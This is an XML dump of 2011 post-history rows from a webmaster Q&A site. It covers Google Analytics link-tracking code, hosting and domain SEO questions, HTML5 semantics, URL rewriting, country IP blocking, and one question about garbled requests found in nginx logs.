  <row Id="15942" PostHistoryTypeId="5" PostId="7524" RevisionGUID="9a22b7fd-fdd6-484c-abe7-c0b6f43fca8d" CreationDate="2011-01-09T12:37:38.807" UserId="1064" Comment="Added link to Google Analytics documentation and added optimization to JS sample" Text="Yes, you can track just about anything using Google Analytics' [Event Tracking][1] - here's how you might do it for the two cases of (a) showing a link and (b) a user clicking the link:&#xD;&#xA;&#xD;&#xA;(a) Track showing the link&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        _gaq.push(['_trackEvent', 'Links', 'Shown', 'http://www.a.com/']);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;(b) Track user clicking the link&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.a.com/&quot; onclick=&quot;javascript:_gaq.push(['_trackEvent', 'Links', 'Clicked', 'http://www.a.com/']); return true;&quot;&gt;...&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Of course, given that you probably *don't* want to hard-code for both of these Javascript events, you can use a handy Javascript function to do all the work for you when links have a specific class - I like to use [jQuery][2], so here's a quick example:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    /*&#xD;&#xA;      ... assuming jQuery has been loaded and you're using the&#xD;&#xA;          standard Google Analytics Asynchronous tracking snippet&#xD;&#xA;    &#xD;&#xA;          URL: http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html&#xD;&#xA;    */&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;        if ( $('a.tracked').length ) {&#xD;&#xA;            $('a.tracked').each(function() {&#xD;&#xA;        		_gaq.push(['_trackEvent', 'Links', 'Shown', $(this).attr('href')]);&#xD;&#xA;        		$(this).bind( 'click', function() {&#xD;&#xA;        			_gaq.push(['_trackEvent', 'Links', 'Clicked', $(this).attr('href')]);&#xD;&#xA;        			return true;&#xD;&#xA;        		});&#xD;&#xA;            });&#xD;&#xA;        }&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;... and then every link with `class=&quot;tracked&quot;` should be tracked accordingly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html&#xD;&#xA;  [2]: http://jquery.com/" />
  <row Id="15943" PostHistoryTypeId="5" PostId="7524" RevisionGUID="c4401d2f-13a2-483f-bf16-6beea70b64aa" CreationDate="2011-01-09T14:28:40.583" UserId="1064" Comment="New code sample" Text="Yes, you can track just about anything using Google Analytics' [Event Tracking][1] - here's how you might do it for the two cases of (a) showing a link and (b) a user clicking the link:&#xD;&#xA;&#xD;&#xA;(a) Track showing the link&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        _gaq.push(['_trackEvent', 'Links', 'Shown', 'http://www.a.com/']);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;(b) Track user clicking the link&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.a.com/&quot; onclick=&quot;javascript:_gaq.push(['_trackEvent', 'Links', 'Clicked', 'http://www.a.com/']); return true;&quot;&gt;...&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Of course, given that you probably *don't* want to hard-code for both of these Javascript events, you can use a handy Javascript function to do all the work for you when links have a specific class - I like to use [jQuery][2], so here's a quick example:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    /*&#xD;&#xA;      ... assuming jQuery has been loaded and you're using the&#xD;&#xA;          standard Google Analytics Asynchronous tracking snippet&#xD;&#xA;    &#xD;&#xA;          URL: http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html&#xD;&#xA;    */&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;        if ( $('a.tracked').length ) {&#xD;&#xA;            $('a.tracked').each(function() {&#xD;&#xA;        		_gaq.push(['_trackEvent', 'Links', 'Shown', $(this).attr('href')]);&#xD;&#xA;        		$(this).bind( 'click', function() {&#xD;&#xA;        			_gaq.push(['_trackEvent', 'Links', 'Clicked', $(this).attr('href')]);&#xD;&#xA;        			return true;&#xD;&#xA;        		});&#xD;&#xA;            });&#xD;&#xA;        }&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;... and then every link with `class=&quot;tracked&quot;` should be tracked accordingly.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:** New code, but sure - you could even specify which group a link belongs to and track the group instead:&#xD;&#xA;&#xD;&#xA;	&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;		$(document).ready(function() {&#xD;&#xA;			if ( $('a.tracked').length ) {&#xD;&#xA;				$('a.tracked').each(function() {&#xD;&#xA;					var groupRegExp =/group([a-zA-Z])/i;&#xD;&#xA;					var group = groupRegExp.exec( $(this).attr('class') );&#xD;&#xA;					if (&#xD;&#xA;						( !group ) ||&#xD;&#xA;						( !group.length )&#xD;&#xA;					) {&#xD;&#xA;						var group = &quot;groupUnknown&quot;;&#xD;&#xA;					} else {&#xD;&#xA;						var group = group[0];&#xD;&#xA;					}&#xD;&#xA;					_gaq.push(['_trackEvent', 'Links', 'Shown', group]);&#xD;&#xA;					$(this).bind( 'click', function() {&#xD;&#xA;						_gaq.push(['_trackEvent', 'Links', 'Clicked', group]);&#xD;&#xA;						return true;&#xD;&#xA;					});&#xD;&#xA;				});&#xD;&#xA;			}&#xD;&#xA;		});&#xD;&#xA;	&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;... which should work for `class=&quot;tracked groupA&quot;`, `class=&quot;groupA tracked&quot;`, etc.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html&#xD;&#xA;  [2]: http://jquery.com/" />
  <row Id="15944" PostHistoryTypeId="5" PostId="7525" RevisionGUID="5309826f-ab40-4679-a835-a244f56804a9" CreationDate="2011-01-09T14:32:15.080" UserDisplayName="JP19" Comment="deleted 128 characters in body" Text="Can you please mention here if you know any shared hosting providers who give option to get a dedicated IP?  So far I know of one - Netfirms. Please list others if you know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The reason why I am looking for such a thing is:&#xD;&#xA;&#xD;&#xA;  i) In most shared hosting plans, you end up getting better CPU/burst RAM than a VPS provided you don't abuse.&#xD;&#xA;&#xD;&#xA;  ii) Dedicated IP is good for SEO. For example, many times, you may get up getting an IP where some p*** sites are also hosted in shared hosting.&#xD;&#xA;  " />
  <row Id="15946" PostHistoryTypeId="17" PostId="7528" RevisionGUID="c804f131-4e3f-4786-a321-efafd6540d0c" CreationDate="2011-01-09T17:01:10.433" UserId="-1" Comment="from http://stackoverflow.com/questions/4637860/will-tk-domain-get-indexed-on-google-what-are-its-disadvantages/4637874#4637874" Text="" />
  <row Id="15947" PostHistoryTypeId="17" PostId="7529" RevisionGUID="d9d67633-6034-485d-8eb6-780fa7ebe237" CreationDate="2011-01-09T17:01:10.433" UserId="-1" Comment="from http://stackoverflow.com/questions/4637860/will-tk-domain-get-indexed-on-google-what-are-its-disadvantages/4637880#4637880" Text="" />
  <row Id="15948" PostHistoryTypeId="2" PostId="7528" RevisionGUID="8b460a7b-87af-4d0c-ba3b-561afa219a20" CreationDate="2011-01-09T05:42:51.920" UserDisplayName="taspeotis" Text="It should work fine, but consider &lt;a href=&quot;http://www.google.com.au/addurl/?continue=/addurl&quot;&gt;adding your site to Google&lt;/a&gt; to speed it up." />
  <row Id="15949" PostHistoryTypeId="2" PostId="7529" RevisionGUID="18df9a85-3e6f-4df9-a6ab-7ec7b037264c" CreationDate="2011-01-09T05:44:52.970" UserDisplayName="Sarwar Erfan" Text="Google does not care whether you paid or not for the domain. But it does care how you did SEO.&#xD;&#xA;So, submit your site to google (http://www.google.com.au/addurl/?continue=/addurl) and please do optimization of the content, get inward links etc if you want your site to start coming up in search results." />
  <row Id="15950" PostHistoryTypeId="2" PostId="7527" RevisionGUID="8c45b8c8-c6f5-4653-9c50-0b98b16bd8c7" CreationDate="2011-01-09T05:37:50.643" UserDisplayName="Shiva" Text="I configured dns of .tk with blogger and made it work as website as it can have many webpages, but now I have some doubts: will .tk (free domains) get indexed on search engines like google, yahoo, etc?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Are there any example .tk domains being indexed on google? " />
  <row Id="15951" PostHistoryTypeId="1" PostId="7527" RevisionGUID="8c45b8c8-c6f5-4653-9c50-0b98b16bd8c7" CreationDate="2011-01-09T05:37:50.643" UserDisplayName="Shiva" Text="will .tk domain get indexed on google what are its disadvantages" />
  <row Id="15952" PostHistoryTypeId="3" PostId="7527" RevisionGUID="8c45b8c8-c6f5-4653-9c50-0b98b16bd8c7" CreationDate="2011-01-09T05:37:50.643" UserDisplayName="Shiva" Text="&lt;web-development&gt;&lt;web-applications&gt;&lt;website&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="15953" PostHistoryTypeId="17" PostId="7527" RevisionGUID="3af28707-40d1-4a13-b632-f9eb6a9072cd" CreationDate="2011-01-09T17:01:10.433" UserId="-1" Comment="from http://stackoverflow.com/questions/4637860/will-tk-domain-get-indexed-on-google-what-are-its-disadvantages" Text="" />
  <row Id="15954" PostHistoryTypeId="2" PostId="7530" RevisionGUID="6a531538-af01-4ae9-a99d-753bdaf1faaa" CreationDate="2011-01-09T17:40:05.010" UserId="4484" Text="I know that its not the best, but godaddy.com at one time did offer this." />
  <row Id="15956" PostHistoryTypeId="2" PostId="7532" RevisionGUID="7d10e856-0729-44a5-ae90-1a48e6b47f2e" CreationDate="2011-01-09T18:07:13.700" UserId="3866" Text="has anyone ever hosted a high traffic website with these two companies? I would like to know who has the best service and servers. Thanks" />
  <row Id="15957" PostHistoryTypeId="1" PostId="7532" RevisionGUID="7d10e856-0729-44a5-ae90-1a48e6b47f2e" CreationDate="2011-01-09T18:07:13.700" UserId="3866" Text="Rackspace cloud vs Softlayer cloud" />
  <row Id="15958" PostHistoryTypeId="3" PostId="7532" RevisionGUID="7d10e856-0729-44a5-ae90-1a48e6b47f2e" CreationDate="2011-01-09T18:07:13.700" UserId="3866" Text="&lt;cloud-hosting&gt;" />
  <row Id="15959" PostHistoryTypeId="2" PostId="7533" RevisionGUID="5d935501-a9cd-4952-ad7b-0d5ce0407cca" CreationDate="2011-01-09T18:08:59.233" UserId="132" Text="To me it makes the most sense to have the aside within the section that it relates to, if that is the intent of the content. However, it's pretty flexible - there are no hard rules." />
  <row Id="15960" PostHistoryTypeId="6" PostId="7527" RevisionGUID="b5376de0-4735-4a8c-a095-b32db8f3fee6" CreationDate="2011-01-09T18:33:52.090" UserId="1757" Comment="fix tags" Text="&lt;google&gt;&lt;domains&gt;&lt;top-level-domains&gt;" />
  <row Id="15961" PostHistoryTypeId="2" PostId="7534" RevisionGUID="4f669674-69c5-4765-88f9-ccd20bd66001" CreationDate="2011-01-09T18:58:22.673" UserDisplayName="Brad Smith" Text="Arvixe.com allows you to get a dedicated IP for most (if not all) of their sharing plans. I believe it's an extra $2/month, but you'll want to verify that." />
  <row Id="15962" PostHistoryTypeId="2" PostId="7535" RevisionGUID="4b625d40-2987-4e47-ac04-ea9f42e47145" CreationDate="2011-01-09T19:20:09.003" UserId="4465" Text="There is a free domain service [http://www.co.cc][1] . We can setup DNS settings at co.cc . But is there any SEO disadvantages for CO.CC domains?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.co.cc" />
  <row Id="15963" PostHistoryTypeId="1" PostId="7535" RevisionGUID="4b625d40-2987-4e47-ac04-ea9f42e47145" CreationDate="2011-01-09T19:20:09.003" UserId="4465" Text="CO.CC domains SEO disadvantages" />
  <row Id="15964" PostHistoryTypeId="3" PostId="7535" RevisionGUID="4b625d40-2987-4e47-ac04-ea9f42e47145" CreationDate="2011-01-09T19:20:09.003" UserId="4465" Text="&lt;seo&gt;&lt;domains&gt;&lt;free&gt;" />
  <row Id="15965" PostHistoryTypeId="2" PostId="7536" RevisionGUID="9e568b8f-b7e3-4052-a70c-be3c855d8f8d" CreationDate="2011-01-09T19:21:43.560" UserId="4487" Text="You can place an *aside* inside *section* if you like. It just indicates that the content is not directly related to the current article hence it being aside. Moreover, you can even have a *section* inside a *aside* tag if you want to break up the content within it. &#xD;&#xA;&#xD;&#xA;I usually think of *aside* as having more of a semantic meaning and *section* more of a presentational function. this way you can decide which is best for the content you're trying to display." />
  <row Id="15966" PostHistoryTypeId="2" PostId="7537" RevisionGUID="16c9435f-562e-4ae7-a70d-3b7b790aa4c2" CreationDate="2011-01-09T19:29:15.847" UserId="4488" Text="I'm seeing a significant number of non-HTTP requests hitting a site I just launched.  They show up in the server (nginx) logs as non-ASCII and get rejected (correctly) with a 400 status.  Here are some lines from the log:&#xD;&#xA;&#xD;&#xA;95.132.198.189 - - [09/Jan/2011:13:53:30 -0500] &quot;œ$A\x10õœ²É9J&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;79.100.145.126 - - [09/Jan/2011:13:57:42 -0500] &quot;#§i²¸oYi á¹„\x13VJ—x·—œ\x04N \x1DÔvbÛè½\x10§¬\x1E0œ_^¼+\x09ÜÅ\x08DÌÃiJeT€¿æ]œr\x1EëîyIÐ/ßýúê5Ç¸&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;79.100.145.126 - - [09/Jan/2011:13:58:33 -0500] &quot;¯Ú%ø=Œ›D@\x12î½‰¼\x1C†ÄÀe\x015mˆàd˜Û%pÛÿ&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;&#xD;&#xA;What should I make of this? Is this some sort of scripted attack?  Or could these be correct requests that have somehow been garbled?&#xD;&#xA;&#xD;&#xA;They're not affecting the performance of the site and I'm not seeing any other signs of attacks (e.g., no strange POSTs) so at this point I'm more curious than afraid." />
  <row Id="15967" PostHistoryTypeId="1" PostId="7537" RevisionGUID="16c9435f-562e-4ae7-a70d-3b7b790aa4c2" CreationDate="2011-01-09T19:29:15.847" UserId="4488" Text="Significant number of non-HTTP requests hitting my site" />
  <row Id="15968" PostHistoryTypeId="3" PostId="7537" RevisionGUID="16c9435f-562e-4ae7-a70d-3b7b790aa4c2" CreationDate="2011-01-09T19:29:15.847" UserId="4488" Text="&lt;nginx&gt;&lt;web-security&gt;" />
  <row Id="15969" PostHistoryTypeId="2" PostId="7538" RevisionGUID="042f7c18-3596-4b6a-a135-331a390a5bf3" CreationDate="2011-01-09T20:07:20.697" UserDisplayName="Brandon Durham" Text="I've got a site that should max out a 575px on the iphone and wanted to know what the best method is for defaulting the viewport to this size. Currently I am using this meta tag:&#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;viewport&quot; content=&quot;width=575; user-scalable=no;&quot;&gt;`&#xD;&#xA;&#xD;&#xA;This displays some odd behavior in that it loads fully zoomed out and then, once the page is loaded, zooms in to 575.&#xD;&#xA;&#xD;&#xA;What are the best methods to ensure that my site will surely display at 575px wide in mobile browsers?" />
  <row Id="15970" PostHistoryTypeId="1" PostId="7538" RevisionGUID="042f7c18-3596-4b6a-a135-331a390a5bf3" CreationDate="2011-01-09T20:07:20.697" UserDisplayName="Brandon Durham" Text="iPhone site optimization: Custom viewport size" />
  <row Id="15971" PostHistoryTypeId="3" PostId="7538" RevisionGUID="042f7c18-3596-4b6a-a135-331a390a5bf3" CreationDate="2011-01-09T20:07:20.697" UserDisplayName="Brandon Durham" Text="&lt;web-development&gt;&lt;iphone&gt;" />
  <row Id="15972" PostHistoryTypeId="2" PostId="7539" RevisionGUID="0504adf2-06a3-4fa5-aa73-16496bcc2d82" CreationDate="2011-01-09T20:24:39.373" UserId="4454" Text="I'd like to ask how can I call the page `www.domain.com/index.php?page=somepage` and make the browser show the user in the URL bar the address `www.domain.com/somepage/`? How do I do that trick?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="15973" PostHistoryTypeId="1" PostId="7539" RevisionGUID="0504adf2-06a3-4fa5-aa73-16496bcc2d82" CreationDate="2011-01-09T20:24:39.373" UserId="4454" Text="How to use .htaccess to show smarter URLs." />
  <row Id="15974" PostHistoryTypeId="3" PostId="7539" RevisionGUID="0504adf2-06a3-4fa5-aa73-16496bcc2d82" CreationDate="2011-01-09T20:24:39.373" UserId="4454" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="15980" PostHistoryTypeId="2" PostId="7540" RevisionGUID="10e6f814-e08e-4bec-b854-ce9d1824f6cb" CreationDate="2011-01-09T21:02:41.923" UserId="4410" Text="Most hosts offer dedicated IP address as an add-on for their shared webhosting services. For example, WestHost does, and so does HostGator. The reason almost all web hosts offer dedicated IP addresses is because you have to have a dedicated IP to have an SSL certificate.&#xD;&#xA;&#xD;&#xA;Your assumption about getting better CPU and RAM bursts verses VPS is not true at all hosts. Worse, most of the time, whatever that maximum allowed amount is, it is not usually disclosed. Until your site gets forced offline, you won't know how close you are coming to hitting it.&#xD;&#xA;&#xD;&#xA;Even worse than that, is that since that number is neither disclosed, nor guaranteed in your service agreement, it can change. A shared host running with plenty of room might indeed allow a big burst from your site, but if several sites on that shared host are bursting, the amount of available overhead will be lower and that same burst won't be allowed that time around and your site will end up offline." />
  <row Id="15981" PostHistoryTypeId="2" PostId="7541" RevisionGUID="19c9f7e5-b975-4f37-bdf5-e5f72f4311f8" CreationDate="2011-01-09T21:06:05.273" UserId="4490" Text="you need the webserver module to do this. if you running Apache for example you can use mod_rewrite to acomplish this type of URLs.&#xD;&#xA;&#xD;&#xA;for the .htaccess file you need basic knowledge of regular expressions&#xD;&#xA;&#xD;&#xA;a good start: http://www.modrewrite.com/" />
  <row Id="15982" PostHistoryTypeId="2" PostId="7542" RevisionGUID="7586f40c-90cd-4d8e-aa18-3f2ebe2783bb" CreationDate="2011-01-09T22:24:55.277" UserId="3718" Text="My personal website is currently getting a lot of spam comments at the moment, and most of them originate from Russia (I've used Google Analytics to identify the traffic, and a lot of the links link to Russian sites). As it's a pain to keep deleting this comments, I would like to ban people from there commenting or visiting the website. Is this possible?&#xD;&#xA;&#xD;&#xA;Also, the website is using WordPress.&#xD;&#xA;&#xD;&#xA;Many thanks!" />
  <row Id="15983" PostHistoryTypeId="1" PostId="7542" RevisionGUID="7586f40c-90cd-4d8e-aa18-3f2ebe2783bb" CreationDate="2011-01-09T22:24:55.277" UserId="3718" Text="Is it possible to block traffic originating from a specific country?" />
  <row Id="15984" PostHistoryTypeId="3" PostId="7542" RevisionGUID="7586f40c-90cd-4d8e-aa18-3f2ebe2783bb" CreationDate="2011-01-09T22:24:55.277" UserId="3718" Text="&lt;wordpress&gt;&lt;country-specific&gt;&lt;spam-prevention&gt;" />
  <row Id="15985" PostHistoryTypeId="2" PostId="7543" RevisionGUID="fdeb1c14-2e44-4196-a812-d686173e17ff" CreationDate="2011-01-09T22:45:46.130" UserId="3662" Text="Is it a good sign if your website looks like a plaintext file with hyperlinks when the stylesheet is disabled?" />
  <row Id="15986" PostHistoryTypeId="1" PostId="7543" RevisionGUID="fdeb1c14-2e44-4196-a812-d686173e17ff" CreationDate="2011-01-09T22:45:46.130" UserId="3662" Text="Should layout be solely based on CSS?" />
  <row Id="15987" PostHistoryTypeId="3" PostId="7543" RevisionGUID="fdeb1c14-2e44-4196-a812-d686173e17ff" CreationDate="2011-01-09T22:45:46.130" UserId="3662" Text="&lt;css&gt;&lt;website-design&gt;" />
  <row Id="15988" PostHistoryTypeId="5" PostId="7537" RevisionGUID="a84441ea-03bc-4ec1-a425-7933d2e0dde1" CreationDate="2011-01-09T22:46:40.827" UserId="4488" Comment="added 4 characters in body" Text="I'm seeing a significant number of non-HTTP requests hitting a site I just launched.  They show up in the server (nginx) logs as non-ASCII and get rejected (correctly) with a 400 status.  Here are some lines from the log:&#xD;&#xA;&#xD;&#xA;95.132.198.189 - - [09/Jan/2011:13:53:30 -0500] &quot;œ$A\x10õœ²É9J&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;&#xD;&#xA;79.100.145.126 - - [09/Jan/2011:13:57:42 -0500] &quot;#§i²¸oYi á¹„\x13VJ—x·—œ\x04N \x1DÔvbÛè½\x10§¬\x1E0œ_^¼+\x09ÜÅ\x08DÌÃiJeT€¿æ]œr\x1EëîyIÐ/ßýúê5Ç¸&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;&#xD;&#xA;79.100.145.126 - - [09/Jan/2011:13:58:33 -0500] &quot;¯Ú%ø=Œ›D@\x12î½‰¼\x1C†ÄÀe\x015mˆàd˜Û%pÛÿ&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;&#xD;&#xA;What should I make of this? Is this some sort of scripted attack?  Or could these be correct requests that have somehow been garbled?&#xD;&#xA;&#xD;&#xA;They're not affecting the performance of the site and I'm not seeing any other signs of attacks (e.g., no strange POSTs) so at this point I'm more curious than afraid." />
  <row Id="15989" PostHistoryTypeId="2" PostId="7544" RevisionGUID="7cbf3b25-bdd5-49c1-8257-1a8e4eba7d41" CreationDate="2011-01-09T22:58:11.063" UserId="221" Text="The only practical way to do this would be to get a list of IP address blocks assigned to the country in question and then configure your site to ignore all traffic originating from those IP addresses.&#xD;&#xA;&#xD;&#xA;There are a number of ways the block list could be implemented (in your firewall, in Apache, in your site software), but I have no idea what (if any) IP blocking solutions WordPress supports.&#xD;&#xA;&#xD;&#xA;I've never used them, but Google turned up http://www.countryipblocks.net/ when I googled for a list of russian IP addresses..." />
  <row Id="15990" PostHistoryTypeId="5" PostId="7537" RevisionGUID="853908d8-7353-47e8-ad72-5eb4b1da9835" CreationDate="2011-01-09T23:24:46.197" UserId="138" Comment="added 7 characters in body" Text="I'm seeing a significant number of non-HTTP requests hitting a site I just launched.  They show up in the server (nginx) logs as non-ASCII and get rejected (correctly) with a 400 status.  Here are some lines from the log:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;95.132.198.189 - - [09/Jan/2011:13:53:30 -0500] &quot;œ$A\x10õœ²É9J&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;79.100.145.126 - - [09/Jan/2011:13:57:42 -0500] &quot;#§i²¸oYi á¹„\x13VJ—x·—œ\x04N \x1DÔvbÛè½\x10§¬\x1E0œ_^¼+\x09ÜÅ\x08DÌÃiJeT€¿æ]œr\x1EëîyIÐ/ßýúê5Ç¸&quot; 400 173 &quot;-&quot; &quot;-&quot;&#xD;&#xA;79.100.145.126 - - [09/Jan/2011:13:58:33 -0500] &quot;¯Ú%ø=Œ›D@\x12î½‰¼\x1C†ÄÀe\x015mˆàd˜Û%pÛÿ&quot; 400 173 &quot;-&quot; &quot;-&quot;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;What should I make of this? Is this some sort of scripted attack?  Or could these be correct requests that have somehow been garbled?&#xD;&#xA;&#xD;&#xA;They're not affecting the performance of the site and I'm not seeing any other signs of attacks (e.g., no strange POSTs) so at this point I'm more curious than afraid." />
  <row Id="15991" PostHistoryTypeId="2" PostId="7545" RevisionGUID="e4657890-17fd-44db-b905-612a5f739a1b" CreationDate="2011-01-09T23:25:43.753" UserId="4487" Text="It's a positive sign, yes. What you've done is separate content from presentation, and from what you've described CSS is doing it's job exactly as intended -which is styling the content.&#xD;&#xA;&#xD;&#xA;In the long run all you need to do is update or change the CSS in the event of a redesign. Your content will stay consistent throughout as you've kept it in the HTML." />
  <row Id="15992" PostHistoryTypeId="2" PostId="7546" RevisionGUID="73fdbb5d-a988-4999-b20d-187b482d76f8" CreationDate="2011-01-09T23:00:06.980" UserDisplayName="Brian Boyle" Text="I am developing a website for a client and I am trying to find out what I should be charging them for hosting the site. Is there a standard price these days?" />
  <row Id="15993" PostHistoryTypeId="1" PostId="7546" RevisionGUID="73fdbb5d-a988-4999-b20d-187b482d76f8" CreationDate="2011-01-09T23:00:06.980" UserDisplayName="Brian Boyle" Text="Website Hosting costs" />
  <row Id="15994" PostHistoryTypeId="3" PostId="7546" RevisionGUID="73fdbb5d-a988-4999-b20d-187b482d76f8" CreationDate="2011-01-09T23:00:06.980" UserDisplayName="Brian Boyle" Text="&lt;web-hosting&gt;&lt;cost&gt;" />
  <row Id="15995" PostHistoryTypeId="17" PostId="7546" RevisionGUID="ed1e8aad-f965-4031-b020-f4f9db0bdb61" CreationDate="2011-01-09T23:28:18.597" UserId="-1" Comment="from http://stackoverflow.com/questions/4642426/website-hosting-costs" Text="" />
  <row Id="15996" PostHistoryTypeId="2" PostId="7547" RevisionGUID="f485caa7-0df2-4647-8324-3c4355d18749" CreationDate="2011-01-09T23:37:04.040" UserId="4491" Text="Yes, this is the best thing. It gives you the flexibility to apply another style on the page without affecting " />
  <row Id="15997" PostHistoryTypeId="2" PostId="7548" RevisionGUID="3bcb2898-fa74-4bf2-abd4-831096084a98" CreationDate="2011-01-09T23:39:03.633" UserId="4471" Text="The hosting costs should be payed directly by the client. In other words, it is the client responsibility to buy a hosting solution. You are just the web developer. Not the IT department of the client.&#xD;&#xA;&#xD;&#xA;You role there may be suggest a hosting solution that will serve the needs of the website you have developed.&#xD;&#xA;&#xD;&#xA;That way the client can change the hosting solution when they want. If it is you who pay in their behalf then it could be a mess.&#xD;&#xA;&#xD;&#xA;I am assuming that you are not going to be the sysadmin. If you are going to be the sysadmin then you should of course make the client pay you for that too. But the client should be the one who pays the hosting costs in any case." />
  <row Id="15998" PostHistoryTypeId="10" PostId="7439" RevisionGUID="0ca766c9-b50d-4a87-9312-e258bc9ee1f0" CreationDate="2011-01-09T23:39:50.247" UserId="138" CloseReasonId="3" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="15999" PostHistoryTypeId="17" PostId="7550" RevisionGUID="138b824a-70f1-4381-aafd-2137911d2f25" CreationDate="2011-01-09T23:53:04.357" UserId="-1" Comment="from http://stackoverflow.com/questions/4641081/what-platform-do-i-need-wiki-tiki-or-something-else/4641101#4641101" Text="" />
  <row Id="16000" PostHistoryTypeId="2" PostId="7550" RevisionGUID="dc77b63b-a7e1-4d2e-a4e2-29cd9d30fdc1" CreationDate="2011-01-09T19:02:10.637" UserDisplayName="Time Machine" Text="[Drupal][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.drupal.org/" />
  <row Id="16001" PostHistoryTypeId="2" PostId="7549" RevisionGUID="85fbe770-f312-441e-9b39-9f5b7d757892" CreationDate="2011-01-09T18:56:54.600" UserDisplayName="Jonny White" Text="I need to set up a collaborative website, like a wiki but where the items have a predefined structure.&#xD;&#xA;&#xD;&#xA;For example, a collaborative recipe website where a submission would consist of a photo, ingredients, instructions, cooking time, etc...&#xD;&#xA;Is there any any open source platforms out there that allow collaborative editing with structured entities?&#xD;&#xA;&#xD;&#xA;Many thanks!" />
  <row Id="16002" PostHistoryTypeId="1" PostId="7549" RevisionGUID="85fbe770-f312-441e-9b39-9f5b7d757892" CreationDate="2011-01-09T18:56:54.600" UserDisplayName="Jonny White" Text="What platform do I need? Wiki, Tiki, or something else." />
  <row Id="16003" PostHistoryTypeId="3" PostId="7549" RevisionGUID="85fbe770-f312-441e-9b39-9f5b7d757892" CreationDate="2011-01-09T18:56:54.600" UserDisplayName="Jonny White" Text="&lt;wiki&gt;&lt;mediawiki&gt;" />
  <row Id="16004" PostHistoryTypeId="17" PostId="7549" RevisionGUID="616aa32b-a5a8-4dd3-83b8-83ac75589be2" CreationDate="2011-01-09T23:53:04.357" UserId="-1" Comment="from http://stackoverflow.com/questions/4641081/what-platform-do-i-need-wiki-tiki-or-something-else" Text="" />
  <row Id="16006" PostHistoryTypeId="5" PostId="7547" RevisionGUID="862e76cd-c8f1-48a6-8cc1-e6e5cc930af9" CreationDate="2011-01-09T23:54:56.590" UserId="4491" Comment="added 12 characters in body" Text="Yes, this is the best thing. It gives you the flexibility to apply another style on the page without affecting the content." />
  <row Id="16007" PostHistoryTypeId="2" PostId="7552" RevisionGUID="b5dd7925-6bc5-4ec6-b69b-b816dbdd6d5e" CreationDate="2011-01-10T00:24:09.720" UserId="4477" Text="The following article on Google's Webmaster blog talks about how to deal with multilingual web sites:&#xD;&#xA;&#xD;&#xA;[http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html][1]&#xD;&#xA;&#xD;&#xA;An additional article on the same site, talks about how your particular site structure is supported and how to tell Google about your site's geo-targetting preferences:&#xD;&#xA;&#xD;&#xA;[http://googlewebmastercentral.blogspot.com/2008/08/how-to-start-multilingual-site.html][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2008/08/how-to-start-multilingual-site.html" />
  <row Id="16008" PostHistoryTypeId="2" PostId="7553" RevisionGUID="3dc629e3-cedc-46dc-88df-45d1c6e4e281" CreationDate="2011-01-10T00:40:19.103" UserId="1064" Text="You can use [UserRights][1] to prevent users with basic account roles from adding new pages if you opt for [MediaWiki][2] - skinning MediaWiki is fairly easy and users don't need to know HTML to update content, so all in all it could work as a solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/Manual:User_rights&#xD;&#xA;  [2]: http://www.mediawiki.org/wiki/MediaWiki" />
